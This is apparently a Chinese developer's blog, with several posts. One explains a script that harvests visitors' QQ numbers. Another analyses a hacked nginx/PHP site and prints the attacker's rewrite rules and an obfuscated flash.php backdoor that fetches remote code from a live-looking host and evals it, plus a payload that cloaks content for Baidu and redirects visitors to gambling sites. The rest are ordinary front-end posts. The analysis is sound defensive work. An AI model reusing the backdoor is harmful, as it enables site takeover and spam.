早上到公司,ZH说他昨天搜了一下有哪些开源的建站工具,今天早上就有一个建站的QQ加他好友,随口说了句是不是你乱填QQ号导致的,然后就没管了。没想到,下午我去google婚纱如何打包,点开了一个婚纱摄影网站里的一篇文章,看到文章没什么用就顺手把浏览器标签页关了。在我关掉的那一瞬间,奇迹发生了,这家婚纱店的企业QQ申请加我为好友了,瞬间一身冷汗。然后就把这个问题抛给了大企鹅的PM贝贝同学,让他内部反映问题去。
再然后,ZH和我就开始了对这个网站的扒皮工作,最后结果就是:卧槽,黑科技啊!

这个黑科技干的事情是:网站拿到访问者的QQ号码,然后该网站的营销QQ去主动加用户为好友,从而增加转化率。
这个事情里设计几个相关方:
1、普通网民,访问网站的人,以下简称访客。
2、被访网站,以下简称网站。
3、技术提供者,普通的网站去开发黑科技拿QQ号代价有点大,所以就有了一个技术提供者,他开发完,让普通网站去嵌入他们的代码就行。这个技术提供者在自己的官网里写的自己的核心技术就是拿访客QQ号,看来是靠这个吃饭的,我们今天要扒的就是他们是怎么干的。以下简称技术提供方。
4、腾讯。

整体流程是这样的:
1、访客之前应该登录了腾讯的Web产品,例如QQ邮箱之类,或者至少登录过腾讯的Web产品。我们没有测试清空QQ域cookie的情况,理论上应该拿不到QQ号了。
2、访客访问网站,网站加载技术提供方提供的js代码。
3、该js代码通过某种手段拿到用户的QQ号。
4、把QQ号传给技术提供方的服务器,技术提供方再通过其他方式通知网站的运营人员(很大可能是自动的),运营人员再来添加访客的QQ好友。
5、拿到QQ号之后,把QQ号放到Cookie中,下次访客再来时就不会再拿一遍了。

这几步里面,第三步是核心,下面详细分析到底怎么拿到QQ号,分两种情况,一种是用户处在腾讯产品的登录态,另外一种是曾经登录过腾讯的产品。
第一种:
技术提供者的JS首先向腾讯的一些域名发起请求,其中有一个重点请求,这个请求是腾讯课堂的某个课程页,在这个页面html里有访客的QQ号,解析出QQ号上报就行。时间有限,没有找到发起请求和解析QQ号的代码,个人猜测是在flash里做的。

1

11

第二种:
大致相同,但是这种情况下用户并没有登录,所以第一种情况里的html中不会有QQ号,但是腾讯有一个登录页面,这个页面是会保存用户的QQ账号的,所以拿到这个页面,解析一下也能拿到QQ号。

2

 

根本上说,这个问题是腾讯某些产品的漏洞造成的,所以不知道我这个问题报过去,大企鹅又有多少程序员过不好年,哈哈哈哈。如果大企鹅修复了这个问题,那个拥有“核心技术”的技术提供方估计就更加过不好年了,木哈哈哈哈。
原本就不是正当手段,而且还这么骚扰用户,就别干这事了。

理论上说腾讯只要判断一下referer就能防住这事,但是技术相关方拿的都是基础页内容,基础页的referer好像不太好做限制,加黑名单还行,做白名单估计不行。还有一个方法,就是页面自己判断自己是不是在一个正常的浏览器里,以及自己是不是在iframe里,如果不在正常浏览器里或者在iframe里就拒绝加载任何东西。不过也不是万全之策,因为这个要js来判断,js都加载了,基础页早加载了,在第一种情况下貌似防不住。再有就是,基础页的html里不要出现访客的qq号,这样他就没得拿了,不过这么改起来,企鹅的码农兄弟真的就不用过年了。

 

前几天一个同学说他们单位网站被黑了,主要表现为在百度上搜索他们网站+博彩关键字会出来一堆博彩页面的结果,点击这些结果先是到他们单位网站,然后就会立刻跳转到一个博彩网站。导致百度把他们网站给K了,清除干净这些博彩链接后才给恢复。
这个网站的webserver是nginx,脚本用的是php。同学查到了他们的nginx配置文件被修改过,增加了以下内容:

rewrite ^([^\.]*)/([a-z]+)-recommend/([0-9]+)/$ $1/m2o/api/flash.php?id=$2&user=$3 last;
rewrite ^([^\.]*)/([a-z]+)-([0-9]+)/$ $1/m2o/api/flash.php?id=$2&user=$3 last;
rewrite ^([^\.]*)hd/script/js.php$ $1/m2o/api/flash.php last;

这么看来是增加了几个rewrite规则,把某些特定pattern的请求转发到一个叫做flash.php的文件上去处理。同学又把这个flash.php发过来给我看了下,内容是:

<?php
$p = str_replace("lx","","slxtlxrlx_rlxelxplxlaclxe");
$q = str_replace("xw","","pxwrxwexwgxw_xwrxwexwpxwlxwaxwcxwe");
$r = str_replace("dz","","sdztdzrdz_dzrdzodztdz1dz3");
$a="aHR0cDovL2ZjLnJvYm90czguY29tL211L2FodHYudHh0";
$b = $p("cp", "", "bcpacpscpecp6cp4cp_cpdcpecpccpocpdcpe");

//$file = $b($a);
$file = 'http://www.886778.com/ahtv/ahtv.txt';
$code = file_get_contents($file);
@$q('/ba/e','@'.$r('riny').'($code)', 'bad');
?>

看上去是无比蛋疼的一段代码,全是字符串替换,没辙,一步步换,就看最后到底要换出个什么

<?php
//$p = str_replace("lx","","slxtlxrlx_rlxelxplxlaclxe");
$p = "str_replace";
//$q = str_replace("xw","","pxwrxwexwgxw_xwrxwexwpxwlxwaxwcxwe");
$q = "preg_replace";
//$r = str_replace("dz","","sdztdzrdz_dzrdzodztdz1dz3");
$r = "str_rot13";
$a="aHR0cDovL2ZjLnJvYm90czguY29tL211L2FodHYudHh0";
//$b = $p("cp", "", "bcpacpscpecp6cp4cp_cpdcpecpccpocpdcpe");
$b = "base64_decode";
//$file = $b($a);
$file = 'http://www.xxxxxxx.com/xxx/xxx.txt';
$code = file_get_contents($file);
@$q('/ba/e','@'.$r('riny').'($code)', 'bad');
?>

到这里其实还是啥都看不出,只是知道前面全是烟雾弹,几个函数名用得着这样么?类似这样继续换下去,最后知道真相的我眼泪掉下来,$code变量是从$file所指地址下载的一段文本($file的所指的真实地址这里隐去),前面换来换去只为得到四个字母:eval !他就是吧$code的内容放到eval里当做php代码执行。好吧,到这里很明了了,直接去看那个txt吧,内容依然是php代码。

$refer=$_SERVER['HTTP_REFERER'];
//if(!isset($_COOKIE['loginTime'])) {
//setcookie("loginTime",time(),time()+86400);
if(stristr($refer,"baidu.com")||stristr($refer,"sogou.com")||stristr($refer,"soso.com")||stristr($refer,"google.")||stristr($refer,"so.com")||stristr($refer,"360.")||stristr($refer,"bing.com")||stristr($refer,"youdao.com"))
{
$url="http://www.1128888.com";
Header('Location:'.$url);
exit();
}
//}
$a=$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"];
$file='http://fc.robots8.com/mu/index.php?url='.$a;
$referer=$_SERVER["HTTP_REFERER"];
$agent= strtolower($_SERVER["HTTP_USER_AGENT"]);
if(strstr($referer,"baidu")&&strstr($referer,"456"))
{
   Header("Location: $url");
}
if(ereg("http://www.baidu.com/search/spider.htm",$agent))
{
		$content=file_get_contents("$file");
		echo $content;
        exit;
}
echo"<html>\r\n"
  . "<head><title>403 Forbidden</title></head>\r\n"
  . "<body bgcolor=\"white\">\r\n"
  . "<center><h1>403 Forbidden</h1></center>\r\n"
  . "<hr><center>nginx</center>\r\n"
  . "</body>\r\n"
  . "</html>\r\n"
  . "<!-- a padding to disable MSIE and Chrome friendly error page -->\r\n"
  . "<!-- a padding to disable MSIE and Chrome friendly error page -->\r\n"
  . "<!-- a padding to disable MSIE and Chrome friendly error page -->\r\n"
  . "<!-- a padding to disable MSIE and Chrome friendly error page -->\r\n"
  . "<!-- a padding to disable MSIE and Chrome friendly error page -->\r\n"
  . "<!-- a padding to disable MSIE and Chrome friendly error page -->";

这段代码才是真实工作的代码,干了很多事情。上面一部分就是负责从搜索结果页跳转到博彩网站的,代码首先判断来访者的refer,如果是从百度搜狗之类的网站跳转过来,refer里肯定有baidu.com,sogou.com之类的字样,
遇到这样的就直接调用header()函数给浏览器发送个302跳转到那个1228888为域名的博彩网站去,这就好解释开头提到的现象了。但是,还有一个问题没搞清楚,搜索结果页的快照是从该单位的网站上抓的,但是内容确实博彩网站的内容,为啥捏。
上面这段代码再往下看,又出现了一个$file,又一个地址,不多说,直接看这个地址里是啥,代码里有参数,但是我试了下不加参数也能访问,内容就是那个博彩网站的文本内容,用这个来当网页快照真是再合适不过了。
所以,后面这段代码就开始针对百度的爬虫做坏事了,只要是百度爬虫过来,就把这段文本内容给爬虫,这是欺负我们家的spider的么?当然,如果是正常浏览器访问,这段代码就伪装成403。
好吧,到这里就可以粗略理一下整个利用过程了。在攻击者把配置文件修改好并且把这段代码放到服务器上之后,就想办法告诉百度爬虫,这个网站上有博彩内容。告诉的方法可以有很多种,比如直接到百度去提交,或者在另外一个网站上加个链接之类。
对于爬虫来说,他不知道这是什么内容,只知道这是以前没有发现过的新内容,在加上这个网站原来还是个优质网站,那就赶紧把这些新内容爬下来。由于url是经过rewrite的,单纯从url上看,这些多出来的内容说不定是该网站的一个新频道呢。
再然后,当用户在百度上搜索博彩相关内容的时候,这些结果就出现了。当然,博彩网站本身肯定是会被百度K掉的,所以他才会把自己假装成一个优质网站的一个频道,这样百度就收录了,好聪明,借尸还魂。
再继续,用户点击这些结果时,自然是只会跳转到我同学维护的网站,但是却被上面的代码巧妙的给跳走了,流量就到了真正的博彩网站。

解决方法也挺简单,干掉nginx配置文件中被修改的部分,干掉这个flash.php,堵住机器漏洞,防止再次被黑,基本上就ok了。

用户使用网站,就像一个女神好不容易来了兴致和一个屌丝约会,如果屌丝迟到让女神等上半天,那么这个屌丝就只好一辈子屌丝了。毫无疑问,在互联网上,网站是屌丝,用户们是女神,如何让网页迅速呈现在用户面前是众屌丝们必须要注意的问题。假设某屌丝跟女神约会迟到了,这个时候需要迅速找到原因定位问题,然后才能解决问题向下一个女神进攻。
如何识别站点的性能问题呢,事实上不是太难,你只需要一个可视化页面加载过程的工具就行了,这个工具呈现出来的内容叫做瀑布图。如果你有firefox,那么装上一个叫做firebug的工具就OK,如果你用Chrome,直接按F12即可。当然还有一些网站性能分析站点也会提供这些工具,例如webpagetest.org。好了,下面一个个介绍十种性能问题的模式:

 

1、后端性能太差


后端是啥?后端就是你网站的Web服务端,包括Web服务器(apache,nginx)、动态脚本(php,jsp,cgi)和数据库等。上图中第一行明显比其他行要长的多,这种情况一般是后端问题影响的性能。正常情况下,第一行要非常的短。瀑布图中,第一行往往代表整个网页的基础页请求,也就是页面的骨架,大多数情况下基础页是由后端动态生成的。其他行代表页面元素请求,也就是图片、JS、CSS等,通常这些请求是静态的,所以第一行远远长于其他行证明动态请求慢于静态请求,也就是后端性能太差造成的。

 

2、请求数太多


瀑布图中,一行代表一个http请求,如果一个瀑布图有太多太多行,滚动了好几屏都看不完,那么,这个站点的请求数就太多了。极端一点说,一个站点的请求数越少越好,毕竟http请求是很耗时的一件事情,看看各大搜索引擎的首页就知道了。但是并不是所有页面都需要像搜索引擎那样简洁的,个位数的请求不大可能,那最好也别超过百位数,尽量五十以下吧。可以使用诸如JS合并、CSS合并、CSS精灵图片、数据URI等技术来降低请求数。

3、单一坏请求


看一下上图箭头所指的请求,它比所有其他请求都长,而且还长出至少一个数量级,和其他请求相比,这个请求就显得有点“坏”。单一坏请求可能是一个图片、JS、CSS,或者是指向第三方网站的任何请求,虽然这只是一个请求,但是它足以拖慢你整个页面的加载速度。导致这个问题的原因有很多种,可能是网络问题、可能是请求本身过大,总之,找到原因,干掉它。

4、网络层问题(DNS或者连接问题)


仔细看一下一个单独的http请求,他们会分为好几段,分别是域名解析、建立连接、发送请求、等待响应和接收数据几个阶段。理论上域名解析和建立连接应该占用的时间很小才对,主要的时间应该用在后面几个阶段上。上图中,蓝色和绿色分别代表域名解析和建立连接,可以看出几个请求中花费在网络层上的时间太长了,超过总时间的一半还要多。网络层时间过长除了可能和底层网络有关之外,还可能和你站点的服务端性能有关。当然,如果这种情况发生在向第三方站点发送的请求上(实际上也经常发生),估计你就需要考虑是不是要取消或者更换某些站点功能从而避免这样的请求了。

5、接收数据时间过长


第四点中提到,http请求的大部分时间应该花在后面几个阶段,比如等待响应和接收数据。但是,如果接收数据的时间太长了,长到数百毫秒甚至以秒计算的时候,那也是有问题的。这种情况一般是因为下载的内容太重了,例如大图片、大脚本等。这类问题可以使用GZIP压缩、图片压缩或者JS/CSS的minify等手段来解决。

6、JS阻塞请求


理想中,瀑布图应该是平滑的一路排下来,相邻请求之间的时间差不应该太大。但是经常会出现上图红框中的情况,两个请求之间开了一个很大的口子。这种情况通常是JS造成的,因为JS具有阻塞加载的特性,所以应该尽量想办法让js无阻塞异步的加载。本站的JS可以使用例如require.js之类的AMD的类库,第三方JS也应尽量将引用放到页面最后,或者使用其他办法强制异步加载。

7、错误请求


每一个http请求都是很耗时间的,当你的站点中出现错误的请求就意味着这个请求对于页面展现和用户体验没有任何帮助,所以尽量不要出现错误请求。查看一个请求是不是有错误可以从http状态码上查看,状态码为4xx的请求表示浏览器端犯了一些错误导致服务器不能正常处理,最常见的就是404 not found。状态码为5xx的请求表示服务器端在处理请求的过程中发生了一些错误,最常见的就是500错误,服务端程序发生故障。

8、顺序问题

默认情况下,瀑布图从上到下的请求顺序也表示了请求的先后顺序,在上面的请求是先发起的。对于一个页面而言,应该让重要的请求先发起,不重要的留在后面。比如,企业网站的公司logo应该先发起请求,而页面上的一些“分享到微博”之类的按钮和站点访问统计代码应该后发起请求,尽量保证用户看得到的重要的内容先发起请求。

 

9、“吵闹”的第三方请求


为了让用户分享你的网站内容,所以你给自己的网站装了一个分享插件,可以一键将你的内容分享到微博、空间、人人等等各个社交网站,但是该插件发起了数十个请求,在你的网站加载瀑布图中,这些第三方请求显得很“吵闹”。这些请求大大增加了你页面加载的请求数,降低了用户体验,所以想办法换一个“不吵”的插件也许是个好办法。

10、开始渲染时间太长

这个问题从瀑布图里看不出来,但是你可以直观的感受到。从你在地址栏里输入网址敲回车开始,到你看到屏幕上出现第一部分网页内容,这中间空白屏幕持续的时间大致可以理解为开始渲染时间。哪怕用户第一眼只看到了一个logo,他也知道页面加载时OK的,他会继续等下去。如果开始渲染时间太长,用户一直看着空白屏幕,他很有可能会关掉这个标签页然后打开竞争对手的网站了。开始渲染时间同样是越短越好,瞬间呈现才会让你的女神感觉很爽。

 

(本文主要参考国外著名性能优化网站yottaa的官方博客中的一篇文章,原本打算直接翻译,无奈本人英语太差,就参考着写一下大意再加上自己的一些理解,文中图片也来自原文,英文好的同学就直接移步英文原文好了:http://www.yottaa.com/blog/bid/248349/How-To-Identify-10-Performance-Patterns-in-10-Seconds)

柯里化(currying),维基百科的解释是“在计算机科学中,柯里化(Currying),是把接受多个参数的函数变换成接受一个单一参数(最初函数的第一个参数)的函数,并且返回接受余下的参数而且返回结果的新函数的技术。这个技术由 Christopher Strachey 以逻辑学家 哈斯凯尔·加里 命名的,尽管它是 Moses Schönfinkel 和 Gottlob Frege 发明的。”(http://zh.wikipedia.org/wiki/Currying)

微博上看到一群大牛们在说currying的事情,所以自己实现了一个把给定函数给柯里化的方法:

function curry(fn) {
    var args = [];
    var argLen = fn.length;
    var currying = function(){
    	for (var i  = 0; i < arguments.length; i++) {
            args.push(arguments[i]);
        }
        if (args.length >= argLen) {
        	return fn.apply(this, args);
        } else {
        	return currying;
        }
    }
    return currying;
}

/*以下测试*/
function fn(arg1, arg2, arg3, arg4) {
	return arg1 + arg2 + arg3 + arg4;
}
f = curry(fn);
f(1,2)(3)(4);

结果如下:

搜索了一下,发现在2007年,大牛winter就有currying的实现(http://bbs.51js.com/forum.php?mod=viewthread&tid=74706),代码如下:

function currying(func)
{
    return function()
    {
        if(arguments.length<func.length)
        {
            var args=arguments;
            var retarg=new Array(func.length-arguments.length);
            for(var i=0;i<retarg.length;i++)retarg="_"+i;
            eval("var ret=function("+retarg+"){return args.callee.apply(this,Array.prototype.slice.call(args).concat(Array.prototype.slice.call(arguments)));}");
            return currying(ret);
        }
        else return func.apply(this,arguments);
    }
}
/////////////////////////////////////////////////////////////////////////////////////////
function f(a,b,c)
{
    alert([a,b,c]);
}
var cuf=currying(f);
cuf(1)(2)(3);

最近发现一个问题,在给input设置边框宽度和高度的时候,在不同的浏览器下表现不同,整了很久,这里整理一下发出来。首先说一下,本文只讨论作为行内替换元素的input,且type为text的输入框。其他input类型没有做实验,块元素也不在讨论范围内。

正式讲问题之前要先讲一下css的盒模型,盒模型有W3C的标准盒模型和IE盒模型两种,两者的区别在于如何定义height和width。在W3C标准盒模型中height指的是内容区的高度,在内容区之外还有padding-top,padding-bottom,border-top,border-bottom,margin-top,margin-bottom,也就是说指定的高度就是内容区的高度,不会因为边框的粗细导致内容区的高度变化。而在IE盒模型中,height指的是内容区高度加上padding-top,padding-bottom再加上border-top,border-bottom的高度,一旦指定了height,当让边框变得更粗时,内容区高度就会变的更小。同样的,width的计算也类似。两种盒模型如最后附注所示。

好了,现在开始讲问题。当网页不指定DOCTYPE的时候,不同浏览器对text类型的input使用何种类型的盒模型是由浏览器自己决定的,为了搞清楚浏览器都怎么处理,使用以下代码在Windows平台上做了实验:

<html>
<head>
  <title>border test</title>
  <style type="text/css">
  	#input1 {
  		background-color: yellow;
  		width:200px;
  		height:50px;
  		border:5px solid #000;
  	}
  	#input2 {
  		background-color: yellow;
  		width:200px;
  		height:50px;
  		border: 0px;
  	}
  </style>
</head>
<body>
	<input type="text" id="input1" />
	<input type="text" id="input2" />
</body>
</html>

这段代码主要是放置了两个高度为input,给其中一个设置5像素宽的边框,然后比较两者的高度。
实验结果如下表:

从图中可以看出,chrome,firefox,safari和IE6一样,使用的是IE盒模型,而IE7到IE10使用的均是W3C盒模型(当然,从图中看IE7的行内对齐可能和IE8以上不同)。也就是说,我给input设置了50像素的高度,在chrome、firefox、safari和IE6下,内容区高度会被减去边框的10像素,只有40像素,而在IE7到IE10中,内容区高度就是50像素。
但是,如果一旦给网页指定doctype,也就是在网页第一行加上这么一行(当然也可以使用html5的标记,只是这样IE6就不认识了),结果就不一样了。如下图:

从这里可以看出,所有的浏览器都是使用W3C盒模型的,只是IE6和IE7在行内对齐上有一些不同。

总结一下,为了避免踩坑,最好给网页指定doctype,这样就都符合w3c标准了。同时,没搞清楚的是为什么chrome、firefox、safari在未指定doctype情况下会使用IE盒模型,还望有高人解答。

附:两种盒模型(图片来源网络)

Posted in css.

har文件是一种记录页面加载过程的标准格式,最近需要将这个文件可视化的展现出来。网上也有一些能够可视化展现har的工具,其中harviewer算是其中比较优秀的一个,项目主页:http://code.google.com/p/harviewer/。
但是试用了一段时间之后发现了一些问题,其中最严重的一个问题就是在IE8及更早版本中使用官方文档中说的如下方式调用的时候会无效:

	$("#content").bind("onViewerPreInit", function(event){
		    // Get application object
		    var viewer = event.target.repObject;
		    viewer.loadHar("z.har");
	});

原因是在代码中作者使用了document.createEvent来实现fireEvent函数,但是这个函数在低版本的IE中是不受支持的。我修改了原来的fireEvent函数,使用jquery来实现,可以达到很好的浏览器兼容性。不解的是,作者在项目中使用了jquery,但是这里却要自己去实现,这么写不混乱么?

修改后的代码我上传到了github,同时还进行了部分汉化工作,地址:https://github.com/zhujianfeng/harviewer

流式布局越来越流行,花瓣网、蘑菇街、点点网都在使用这种布局方式,算是凌乱中透出一种美吧。为了跟上时代大潮,我决定自己实现一个流式页面布局,做成jquery插件以满足自己装X的欲望。
该插件还相对比较简单,仅仅实现了以下特性:
1、流式布局
2、滚动条到底时动态加载
3、使用方便

缺点:
1、不支持自定义CSS(以后有空再改吧,或者谁想用谁就自己改代码好了)
2、宽度固定,暂不支持宽度设置(这个也以后再改)

demo、代码如下:

查看demo 下载插件

/*
 * waterfall,流式网页的jquery插件
 * version : 0.1
 * author: zhujianfeng <weibo : @fdjianfeng> <http://www.zhujianfeng.info>
 *
 * 用法:  
 * <script src="http://code.jquery.com/jquery-1.8.2.min.js" type="text/javascript"></script> 
 * <script src="jquery.waterfall.js" type="text/javascript"></script>
 * $(function () {
 *     $("#container").waterfall([
 * 				{
 *					url : "http://www.test.com/pic1.jpg", //要显示图片的缩略图地址
 *					jumpUrl: "http://www.someurl.com/someurl1", //点击缩略图之后的跳转地址,可不填
 *                  title : "title1", //图片标题
 *                  desc : "desc1", //图片描述
 *                  meta : "meta1" //图片的其他信息,例如分类等
 * 				},{
 * 					url : "http://www.test.com/pic2.jpg",
 *					jumpUrl: "http://www.someurl.com/someurl2",
 *                  title : "title2",
 *                  desc : "desc2",
 *                  meta : "meta2"
 * 				}
 *			]);
 * });
 */
(function($) {
	
	/*
	用于充当互斥条件,
	在滚动条滚动事件中判断是否正在加载
	如果有此次滚动事件就不触发新的加载
	*/
	var flag = false;

	//需要用的CSS
	var css = {
		container : {
			"position" : "relative",
			"width" : "1100px",
			"margin" : "0 auto 25px",
			"padding-bottom" : " 10px"
		},
		grid : {
			"display" : "none",
			"border" : "1px solid #ccc",
			"width" : "188px",
			"min-height" : "100px",
			"padding" : " 15px",
			"background" : "#fff",
			"margin" : "8px",
			"font-size" : "12px",
			"float" : "left",
			"box-shadow" : " 0 1px 3px rgba(34,25,25,0.4)",
			"-moz-box-shadow" : " 0 1px 3px rgba(34,25,25,0.4)",
			"-webkit-box-shadow" : " 0 1px 3px rgba(34,25,25,0.4)",
			"-webkit-transition" : " top 1s ease, left 1s ease",
			"-moz-transition" : " top 1s ease, left 1s ease",
			"-o-transition" : " top 1s ease, left 1s ease",
			"-ms-transition" : " top 1s ease, left 1s ease"
		},
		gridStrong : {
			"border-bottom" : "1px solid #ccc",
			"margin" : "10px 0",
			"display" : "block",
			"padding" : "0 0 5px",
			"font-size" : "17px"
		},
		gridMeta : {
			"text-align" : "right",
			"color" : "#777",
			"font-style" : "italic"
		},
		gridP : {
			"display" : "block",
			"font-size" : "12px",
			"color" : "#333"
		},
		gridImgholderImg : {
			"max-width" : "100%",
			"width" : "100%",
			"background" : "#ccc",
			"display" : "block"
		}
	};

	//用于计算位置的配置项
	var config = {
		boxWidth : 188, //每个盒子的宽度
		spaceWidth : 40 //盒子之间的间隙
	};

	//创建一个图片盒子
	var box = function(left, top, img, title, desc, meta, jumpUrl) {
		var htm = [];
		htm.push('<div class="grid" style="left: ' + left + 'px; top: ' 
					+ top + 'px; position: absolute; ">');
		htm.push('<div class="imgholder" style="width:100%;">');
		if (jumpUrl) {
			htm.push('<a href="' + jumpUrl + ' " target="_blank"><img src="' + img + '"></a>');
		} else {
			htm.push('<img src="' + img + '">');
		}
		htm.push('</div>');
		htm.push('<strong>' + title + '</strong>');
		htm.push('<p>' + desc + '</p>');
		htm.push('<div class="meta">' + meta + '</div>');
		htm.push('</div>');
		var thisBox = $(htm.join(""));
		thisBox.css(css.grid);
		thisBox.find("img").css(css.gridImgholderImg);
		thisBox.find("strong").css(css.gridStrong);
		thisBox.find("p").css(css.gridP);
		thisBox.find(".meta").css(css.gridMeta);
		$(this).append(thisBox);
		return thisBox;
	};

	//计算新图片盒子所要放置的位置
	var getNewPostion = function(bottom) {
		var min = bottom[0];
		var minPosition = 0;
		for (var i = bottom.length - 1; i > 0; i-- ) {
			if (min > bottom[i]) {
				min = bottom[i];
				minPosition = i;
			}
		}
		var left = minPosition * (config.boxWidth + config.spaceWidth);
		var top = min;
		return {left: left, top: top, position: minPosition};
	};

	//获得最小的top值,用于判断窗口中是否已经充满图片
	var getMinTop = function(bottom) {
		var min = bottom[0];
		for (var i = bottom.length - 1; i > 0; i-- ) {
			if (min > bottom[i]) {
				min = bottom[i];
			}
		}
		return min;
	};

	//递归加载新的图片盒子
	var loadBox = function(){
		var me = $(this);
		var entities = $(this).data("entities");
		var bottom = $(this).data("bottom");
		var entity = entities.shift();
		if (entity) {
			var newPostion = getNewPostion(bottom);
			var newBox = box.apply(me, [newPostion.left, newPostion.top, 
					entity.url, entity.title, entity.desc, entity.meta, entity.jumpUrl]);
			newBox.find("img").load(function(){
				newBox.fadeIn(1500);
				var newBoxHeight = newBox.height();
				bottom[newPostion.position] += newBoxHeight + config.spaceWidth;
				$(this).data("bottom", bottom);
				$(this).data("entities", entities);
				if (($(window).height() + $(window).scrollTop()) > getMinTop(bottom)) {
					loadBox.apply(me);
				} else {
					flag = false;
				}
			});
		}
	};

	//可供外部使用的jquery方法集合
	var methods = {
		"init" : function(opts) {
			var entities = opts;
			var bottom = [0,0,0,0,0];
			var me = $(this);
			$(this).css(css.container);
			$(this).data("bottom", bottom);
			$(this).data("entities", entities);
			loadBox.apply(me);
			$(window).scroll(function(){
				if (flag === true) {
					return;
				}
				flag = true;
				loadBox.apply(me);
			});
		}
	};

	//插件入口
	$.fn.waterfall = function(method) {
		if ( methods[method] ) {
      		return methods[method].apply( this, Array.prototype.slice.call( arguments, 1 ));
    	} else if ( typeof method === 'object' || ! method ) {
      		return methods.init.apply( this, arguments );
    	} else {
      		$.error( 'Method ' +  method + ' does not exist' );
    	}
	};
})(jQuery);

作为一个菜鸟,最近学习了一下Jquery插件开发,写完一个练手的插件之后发现在Jquery上开发插件实在是很令人愉悦。Jquery插件分为两种,一种是类级别的,另一种是对象级别的。由于这篇文章里我学习的是对象级别的,所以本文主要记录对象级别插件开发。
首先插件开发需要对Jquery的fn进行扩展,一般采取下述几种方式之一

//方式一
jQuery.fn.myPlugin = function() {
    //我们的代码
};

//方式二
$.fn.myPlugin = function() {
    //我们的代码
};

//方式三
jQuery.fn.extend({     
    myPlugin:function(){     
        //我们的代码       
    }     
});

//方式四
$.fn.extend({     
    myPlugin:function(){     
        //我们的代码       
    }     
})

这里面的$符号其实就是变量jQuery的一个别名而已,另外,我们可以使用extend方法来扩展fn,也可以直接在fn上定义新的对象。除此之外,我们还需要把插件封装起来,防止插件的代码污染其他逻辑代码,所以使用一个匿名函数来做这件事情

(function( $ ) {
  $.fn.myPlugin = function() {
    // 我们的代码
  };
})( jQuery );

这样我们就可以使用$(“somediv”).myPlugin()来使用这个插件了。为了能够让插件有多个方法可用,那么可以使用如下方式来组织代码

(function( $ ){

  var methods = {
    init : function( options ) { 
      // 代码
    },
    show : function( ) {
      // 代码
    },
    hide : function( ) { 
      // 代码
    },
    update : function( content ) { 
      // 代码 
    }
  };

  $.fn.myPlugin = function( method ) {
    
    if ( methods[method] ) {
      return methods[ method ].apply( this, Array.prototype.slice.call( arguments, 1 ));
    } else if ( typeof method === 'object' || ! method ) {
      return methods.init.apply( this, arguments );
    } else {
      $.error( 'Method ' +  method + ' does not exist' );
    }    
  
  };

})( jQuery );

//可以使用如下方式来调用
$("somediv").myPlugin({...}); //调用了init方法
$("somediv").myPlugin("update",{...});//调用了update方法

代码会首先判断调用者传入的第一个参数所对应的函数名在不在定义的函数哈希里,在的话使用apply方法调用该函数,并把被调用函数的this设置为当前this,同时把剩余的参数传给被调用的函数。如果第一个参数是一个对象或者为空,那么同样使用apply调用init初始化方法。
在插件运行过程中,如果有数据需要存储,比如上例中的options需要存储起来,供插件运行时其他方法使用,那么我们最好使用jquery的data方法来管理。

(function( $ ){

  var methods = {
    init : function( options ) { 
      // 这里存储数据
      $(this).data("mydata", options);
      // 其他代码
    },
    show : function( ) {
      // 这里使用数据
      var myData = $(this).data("mydata");
      //其他代码
    },
    hide : function( ) { 
      // 代码
    },
    update : function( content ) { 
      // 代码 
    }
  };

  $.fn.myPlugin = function( method ) {
    
    if ( methods[method] ) {
      return methods[ method ].apply( this, Array.prototype.slice.call( arguments, 1 ));
    } else if ( typeof method === 'object' || ! method ) {
      return methods.init.apply( this, arguments );
    } else {
      $.error( 'Method ' +  method + ' does not exist' );
    }    
  
  };

})( jQuery );

最后放上练手的例子,一个可以点击表头排序的表格插件

(function($) {
	var arrowUp = "▲", arrowDown = "▼";
	var sortArray = function(arr, sortBy, order) {
		var sortFunc = function(a, b) {
			if (order === "desc") {
				console.log(typeof a[sortBy]);
				if (typeof a[sortBy] === "string" && typeof b[sortBy] === "string") {
					return a[sortBy].localeCompare(b[sortBy]);
				} else {
					return b[sortBy] - a[sortBy];
				}
			} else {
				if (typeof a[sortBy] === "string" && typeof b[sortBy] === "string") {
						return b[sortBy].localeCompare(a[sortBy]);
				} else {
					return a[sortBy] - b[sortBy];
				}
			}
		};
		return arr.sort(sortFunc);
	};
	var drawBody = function(options){
		var dCount = 0, ddCount = 0;
		dCount = options["data"].length;
		ddCount = options["data"][0].length;
		var htm = [];
		for (var i = 0; i < dCount; i++) {
			htm.push("<tr>");
			for (var j = 0; j < ddCount; j++) {
				htm.push("<td>");
				htm.push(options["data"][i][j]);
				htm.push("</td>");
			}
			htm.push("</tr>");
		}
		var htmStr = htm.join("");
		$(this).find("div > table > tbody").html(htmStr);
	};
	var methods = {
		"init" : function(opts) {
			var options = $.extend({
				"thead" : ["c1", "c2"],
				"data" : [[1, 2], [3, 4],[5, 3]],
				"sortBy": 1,
				"order" : "desc"
			},opts);
			var headStr = "";
			cCount = options.thead.length;
			var colWidthAll = 100 / cCount;
			for (var i = 0; i < cCount; i++) {
				var arrow = "";
				if (options.sortBy === i) {
					if (options.order === "desc") {
						arrow = arrowDown;
					} else {
						arrow = arrowUp;
					}
				}
				var thWidth = "";
				if (options.colWidth) {
					if (options.colWidth[i]) {
						thWidth = "width='" + options.colWidth[i] + "'";
					}
				} else {
					thWidth = "width='" + colWidthAll + "%'"
				}
				headStr += "<th " + thWidth + "><span rel='" + i + "'>" + options.thead[i] 
						+ " <span>" + arrow + "</span></span></th>";
			}
			var tableStr = "<div class='sGrid_wrap'><table class='sGrid'>"
								+"<thead><tr>"
								+ headStr
								+"</tr></thead>"
								+"<tbody></tbody>"
							+"</table></div>";
			$(this).html(tableStr);
			
			options["data"] = sortArray(options["data"], options["sortBy"], options["order"]);
			drawBody.apply(this, [options]);
			var me = $(this);
			$(this).find("div > table > thead th span").click(function(){
				var c = $(this).attr("rel");
				if (c == options.sortBy) {
					if (options.order === "desc"){
						options.order = "asc";
						$(this).find("span").html(arrowUp);
					} else {
						options.order = "desc";
						$(this).find("span").html(arrowDown);
					}
				} else {
					me.find("div > table > thead th span span").html("");
					options.sortBy = c;
					options.order = "desc";
					$(this).find("span").html(arrowDown);
				}
				options["data"] = sortArray(options["data"], options["sortBy"], options["order"]);
				drawBody.apply(me, [options]);
			});
		}
	};
	$.fn.rankTable = function(method) {
		if ( methods[method] ) {
      		return methods[method].apply( this, Array.prototype.slice.call( arguments, 1 ));
    	} else if ( typeof method === 'object' || ! method ) {
      		return methods.init.apply( this, arguments );
